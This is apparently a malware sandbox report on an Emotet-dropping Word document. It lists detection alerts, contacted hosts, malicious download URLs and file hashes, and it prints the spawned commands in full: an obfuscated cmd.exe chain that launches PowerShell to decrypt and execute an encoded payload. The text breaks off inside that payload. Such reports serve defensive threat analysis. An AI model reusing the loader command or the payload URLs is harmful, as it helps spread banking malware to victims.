Attention: please enable javascript in order to properly view and use this malware analysis service.
malicious
Threat Score: 100/100 AV Detection: 71% Labeled as: VB.EmoDldr.4.71FD6F44 #banker #emotet Link E-Mail

Scan.doc

This report is generated from a file or URL submitted to this webservice on February 28th 2018 11:13:47 (UTC)
Guest System: Windows 7 64 bit, Professional, 6.1 (build 7601), Service Pack 1, Office 2010 v14.0.4
Falcon Sandbox v7.30 © Hybrid Analysis

Incident Response

Risk Assessment

Persistence
Spawns a lot of processes
Network Behavior
Contacts 4 domains and 5 hosts. View all details

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

  • Malicious Indicators 15

  • External Systems
    • Detected Suricata Alert
      details
      Detected alert "ETPRO TROJAN W32/Emotet.v4 Checkin" (SID: 2827279, Rev: 5, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
      Detected alert "ETPRO TROJAN W32/Emotet.v4 Checkin 2" (SID: 2827580, Rev: 7, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
      Detected alert "ETPRO TROJAN W32/Emotet.v4 Checkin 3" (SID: 2828008, Rev: 2, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
      Detected alert "ET POLICY PE EXE or DLL Windows file download HTTP" (SID: 2018959, Rev: 3, Severity: 1) categorized as "Potential Corporate Privacy Violation"
      source
      Suricata Alerts
      relevance
      10/10
    • Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines
      details
      5/67 reputation engines marked "http://www.utilitybillingsoftwares.com" as malicious (7% detection rate)
      6/67 reputation engines marked "http://amor.official.pw/f3sqvf" as malicious (8% detection rate)
      9/67 reputation engines marked "http://amor.official.pw" as malicious (13% detection rate)
      source
      External System
      relevance
      10/10
    • Sample was identified as malicious by at least one Antivirus engine
      details
      5/59 Antivirus vendors marked sample as malicious (8% detection rate)
      source
      External System
      relevance
      8/10
  • General
  • Installation/Persistance
    • Writes data to a remote process
      details
      "cmd.exe" wrote 32 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 84)
      "cmd.exe" wrote 52 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 84)
      "cmd.exe" wrote 8 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 84)
      "195082.exe" wrote 32 bytes to a remote process "%PUBLIC%\195082.exe" (Handle: 164)
      "195082.exe" wrote 52 bytes to a remote process "%PUBLIC%\195082.exe" (Handle: 164)
      "195082.exe" wrote 4 bytes to a remote process "%PUBLIC%\195082.exe" (Handle: 164)
      "195082.exe" wrote 8 bytes to a remote process "%PUBLIC%\195082.exe" (Handle: 164)
      source
      API Call
      relevance
      6/10
  • Network Related
    • Malicious artifacts seen in the context of a contacted host
      details
      Found malicious artifacts related to "173.203.172.88": ...
      URL: http://www.utilitybillingsoftwares.com/ (AV positives: 5/67 scanned on 02/28/2018 08:02:13)
      URL: http://utilitybillingsoftwares.com/Yr13ok/index.html (AV positives: 8/67 scanned on 02/28/2018 01:53:03)
      URL: http://www.utilitybillingsoftwares.com/Yr13ok/index.html (AV positives: 8/67 scanned on 02/28/2018 00:06:06)
      URL: http://www.utilitybillingsoftwares.com/Yr13ok/ (AV positives: 7/67 scanned on 02/27/2018 13:45:27)
      URL: http://www.utilitybillingsoftwares.com/yr13ok (AV positives: 6/67 scanned on 02/27/2018 13:28:42)
      File SHA256: 0bb6b5638e7e5b6068034307d04b3bf8f09ba54ba5da69759b920e5ed34c20bb (AV positives: 15/67 scanned on 02/27/2018 13:45:31)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:11)
      File SHA256: 3dac251a433eb94d360b2bf028ee2a0f22c580ce3babcb992567a97635c7c7ca (AV positives: 14/67 scanned on 02/27/2018 09:31:30)
      File SHA256: 3755db1c072882be8811ea7b0be54eed8b1c62bb050f99663acd096af0d2a6bf (AV positives: 18/67 scanned on 02/27/2018 06:18:09)
      File SHA256: 93f2f1c385dcfbbf2613b413f64764c6fb480905bbb5240b98c69b0f8e24dd60 (AV positives: 8/58 scanned on 02/13/2018 15:17:38)
      Found malicious artifacts related to "69.175.93.166": ...
      URL: http://musicamobil.com/ (AV positives: 2/67 scanned on 02/28/2018 10:11:03)
      URL: http://amor.official.pw/ (AV positives: 9/67 scanned on 02/28/2018 08:01:55)
      URL: http://official.pw/ (AV positives: 4/67 scanned on 02/28/2018 02:06:16)
      URL: http://amor.official.pw/f3sqVF/ (AV positives: 10/67 scanned on 02/28/2018 00:22:47)
      URL: http://musicamobil.com/Service-Report-1643/ (AV positives: 3/67 scanned on 02/27/2018 23:42:49)
      File SHA256: 8292d65c4e38d3ba09cd6672b8646489728152a4f9c90152a03557661455665b (AV positives: 29/68 scanned on 02/28/2018 00:22:51)
      File SHA256: 009cb1f25f52bbb9acc3d8d5bbe8c6c13aade01181c554c8fcdfbd0c3b004ef7 (AV positives: 17/59 scanned on 02/27/2018 23:42:52)
      File SHA256: 4e41b1e1110e67933fca25e35be24beb3280e4841ef6228eda0cd5c94fc54a9c (AV positives: 5/59 scanned on 02/27/2018 19:48:35)
      File SHA256: 70c65bd0e084398a87baa298c1fafa52afff402096cb350d563d309565c07e83 (AV positives: 1/59 scanned on 02/27/2018 15:37:46)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:06)
      Found malicious artifacts related to "217.160.0.130": ...
      URL: http://t-p-e.net/ (AV positives: 4/67 scanned on 02/28/2018 08:02:22)
      URL: http://uncoolmgz.com/abelo-valis-presenta-su-ultimo-trabajo-juana-la-loca (AV positives: 3/67 scanned on 02/28/2018 04:15:23)
      URL: http://t-p-e.net/m8uzol (AV positives: 5/67 scanned on 02/27/2018 15:37:37)
      URL: http://t-p-e.net/M8uZOL/ (AV positives: 5/67 scanned on 02/27/2018 13:45:19)
      URL: http://t-p-e.net/M8uZOL (AV positives: 3/68 scanned on 02/27/2018 10:36:48)
      File SHA256: 1fc10464806ad66967c95ca05f3f291c7bcafb5638d65be3bbf2ee998a4b1e1f (AV positives: 1/58 scanned on 02/27/2018 15:37:38)
      File SHA256: 0bb6b5638e7e5b6068034307d04b3bf8f09ba54ba5da69759b920e5ed34c20bb (AV positives: 15/67 scanned on 02/27/2018 13:45:21)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:06)
      File SHA256: 3755db1c072882be8811ea7b0be54eed8b1c62bb050f99663acd096af0d2a6bf (AV positives: 18/67 scanned on 02/27/2018 06:18:09)
      File SHA256: 8053159621a33e59ab160fc7db27ff0b51925c63b6b35798eb8699b608e1de59 (AV positives: 1/60 scanned on 02/23/2018 13:44:30)
      Found malicious artifacts related to "94.199.180.228": ...
      URL: http://www.erzotech.eu/ (AV positives: 6/67 scanned on 02/28/2018 08:02:17)
      URL: http://erzotech.eu/esimB50/index.html (AV positives: 6/67 scanned on 02/27/2018 21:01:01)
      URL: http://www.erzotech.eu/esimB50/ (AV positives: 6/67 scanned on 02/27/2018 16:45:03)
      URL: http://erzotech.eu/esimB50/ (AV positives: 5/67 scanned on 02/27/2018 11:56:34)
      URL: http://erzotech.eu/esimB50 (AV positives: 6/68 scanned on 02/27/2018 10:36:48)
      File SHA256: 5b1e7ff769abda72132bb2d8c0b5d20c13158904c9de0b0df61e9ddeb092194f (AV positives: 21/68 scanned on 02/27/2018 16:45:07)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:07)
      File SHA256: 5762d2caeedef75abe1dd798444a85d0c40ef95cbfc3588a6ba28f5afe79262a (AV positives: 15/70 scanned on 02/27/2018 01:51:49)
      File SHA256: 9f89814b48fc3249bf67a8a6e4439d97391b10b99f02b3da9e38345be1f1ed3f (AV positives: 1/60 scanned on 11/13/2017 12:33:16)
      File SHA256: 17fa2f3324d45c27a318ed51dab739c7f09b573185b76889b955ad2c9ad1d7b8 (AV positives: 1/58 scanned on 08/07/2017 13:55:14)
      source
      Network Traffic
      relevance
      10/10
    • Multiple malicious artifacts seen in the context of different hosts
      details
      Found malicious artifacts related to "173.203.172.88": ...
      URL: http://www.utilitybillingsoftwares.com/ (AV positives: 5/67 scanned on 02/28/2018 08:02:13)
      URL: http://utilitybillingsoftwares.com/Yr13ok/index.html (AV positives: 8/67 scanned on 02/28/2018 01:53:03)
      URL: http://www.utilitybillingsoftwares.com/Yr13ok/index.html (AV positives: 8/67 scanned on 02/28/2018 00:06:06)
      URL: http://www.utilitybillingsoftwares.com/Yr13ok/ (AV positives: 7/67 scanned on 02/27/2018 13:45:27)
      URL: http://www.utilitybillingsoftwares.com/yr13ok (AV positives: 6/67 scanned on 02/27/2018 13:28:42)
      File SHA256: 0bb6b5638e7e5b6068034307d04b3bf8f09ba54ba5da69759b920e5ed34c20bb (AV positives: 15/67 scanned on 02/27/2018 13:45:31)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:11)
      File SHA256: 3dac251a433eb94d360b2bf028ee2a0f22c580ce3babcb992567a97635c7c7ca (AV positives: 14/67 scanned on 02/27/2018 09:31:30)
      File SHA256: 3755db1c072882be8811ea7b0be54eed8b1c62bb050f99663acd096af0d2a6bf (AV positives: 18/67 scanned on 02/27/2018 06:18:09)
      File SHA256: 93f2f1c385dcfbbf2613b413f64764c6fb480905bbb5240b98c69b0f8e24dd60 (AV positives: 8/58 scanned on 02/13/2018 15:17:38)
      Found malicious artifacts related to "69.175.93.166": ...
      URL: http://musicamobil.com/ (AV positives: 2/67 scanned on 02/28/2018 10:11:03)
      URL: http://amor.official.pw/ (AV positives: 9/67 scanned on 02/28/2018 08:01:55)
      URL: http://official.pw/ (AV positives: 4/67 scanned on 02/28/2018 02:06:16)
      URL: http://amor.official.pw/f3sqVF/ (AV positives: 10/67 scanned on 02/28/2018 00:22:47)
      URL: http://musicamobil.com/Service-Report-1643/ (AV positives: 3/67 scanned on 02/27/2018 23:42:49)
      File SHA256: 8292d65c4e38d3ba09cd6672b8646489728152a4f9c90152a03557661455665b (AV positives: 29/68 scanned on 02/28/2018 00:22:51)
      File SHA256: 009cb1f25f52bbb9acc3d8d5bbe8c6c13aade01181c554c8fcdfbd0c3b004ef7 (AV positives: 17/59 scanned on 02/27/2018 23:42:52)
      File SHA256: 4e41b1e1110e67933fca25e35be24beb3280e4841ef6228eda0cd5c94fc54a9c (AV positives: 5/59 scanned on 02/27/2018 19:48:35)
      File SHA256: 70c65bd0e084398a87baa298c1fafa52afff402096cb350d563d309565c07e83 (AV positives: 1/59 scanned on 02/27/2018 15:37:46)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:06)
      Found malicious artifacts related to "217.160.0.130": ...
      URL: http://t-p-e.net/ (AV positives: 4/67 scanned on 02/28/2018 08:02:22)
      URL: http://uncoolmgz.com/abelo-valis-presenta-su-ultimo-trabajo-juana-la-loca (AV positives: 3/67 scanned on 02/28/2018 04:15:23)
      URL: http://t-p-e.net/m8uzol (AV positives: 5/67 scanned on 02/27/2018 15:37:37)
      URL: http://t-p-e.net/M8uZOL/ (AV positives: 5/67 scanned on 02/27/2018 13:45:19)
      URL: http://t-p-e.net/M8uZOL (AV positives: 3/68 scanned on 02/27/2018 10:36:48)
      File SHA256: 1fc10464806ad66967c95ca05f3f291c7bcafb5638d65be3bbf2ee998a4b1e1f (AV positives: 1/58 scanned on 02/27/2018 15:37:38)
      File SHA256: 0bb6b5638e7e5b6068034307d04b3bf8f09ba54ba5da69759b920e5ed34c20bb (AV positives: 15/67 scanned on 02/27/2018 13:45:21)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:06)
      File SHA256: 3755db1c072882be8811ea7b0be54eed8b1c62bb050f99663acd096af0d2a6bf (AV positives: 18/67 scanned on 02/27/2018 06:18:09)
      File SHA256: 8053159621a33e59ab160fc7db27ff0b51925c63b6b35798eb8699b608e1de59 (AV positives: 1/60 scanned on 02/23/2018 13:44:30)
      Found malicious artifacts related to "94.199.180.228": ...
      URL: http://www.erzotech.eu/ (AV positives: 6/67 scanned on 02/28/2018 08:02:17)
      URL: http://erzotech.eu/esimB50/index.html (AV positives: 6/67 scanned on 02/27/2018 21:01:01)
      URL: http://www.erzotech.eu/esimB50/ (AV positives: 6/67 scanned on 02/27/2018 16:45:03)
      URL: http://erzotech.eu/esimB50/ (AV positives: 5/67 scanned on 02/27/2018 11:56:34)
      URL: http://erzotech.eu/esimB50 (AV positives: 6/68 scanned on 02/27/2018 10:36:48)
      File SHA256: 5b1e7ff769abda72132bb2d8c0b5d20c13158904c9de0b0df61e9ddeb092194f (AV positives: 21/68 scanned on 02/27/2018 16:45:07)
      File SHA256: bef50c1eae6f48db02f2a2241241cc795d36da171ffafb9c487e7bd4cabc7059 (AV positives: 12/68 scanned on 02/27/2018 09:45:07)
      File SHA256: 5762d2caeedef75abe1dd798444a85d0c40ef95cbfc3588a6ba28f5afe79262a (AV positives: 15/70 scanned on 02/27/2018 01:51:49)
      File SHA256: 9f89814b48fc3249bf67a8a6e4439d97391b10b99f02b3da9e38345be1f1ed3f (AV positives: 1/60 scanned on 11/13/2017 12:33:16)
      File SHA256: 17fa2f3324d45c27a318ed51dab739c7f09b573185b76889b955ad2c9ad1d7b8 (AV positives: 1/58 scanned on 08/07/2017 13:55:14)
      source
      Network Traffic
      relevance
      10/10
  • Unusual Characteristics
    • Contains embedded VBA macros with keywords that indicate auto-execute behavior
      details
      Found keyword "AutoOpen" which indicates: "Runs when the Word document is opened"
      source
      Static Parser
      relevance
      10/10
    • Contains embedded string that indicates auto-execute behavior
      details
      Found keyword "AutoOpen" which indicates: "Runs when the Word document is opened"
      source
      File/Memory
      relevance
      10/10
    • Spawns a lot of processes
      details
      Spawned process "WINWORD.EXE" with commandline "/n "C:\129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc"" (Show Process)
      Spawned process "cmd.exe" with commandline "cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" (Show Process), Spawned process "powershell.exe" with commandline "powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyA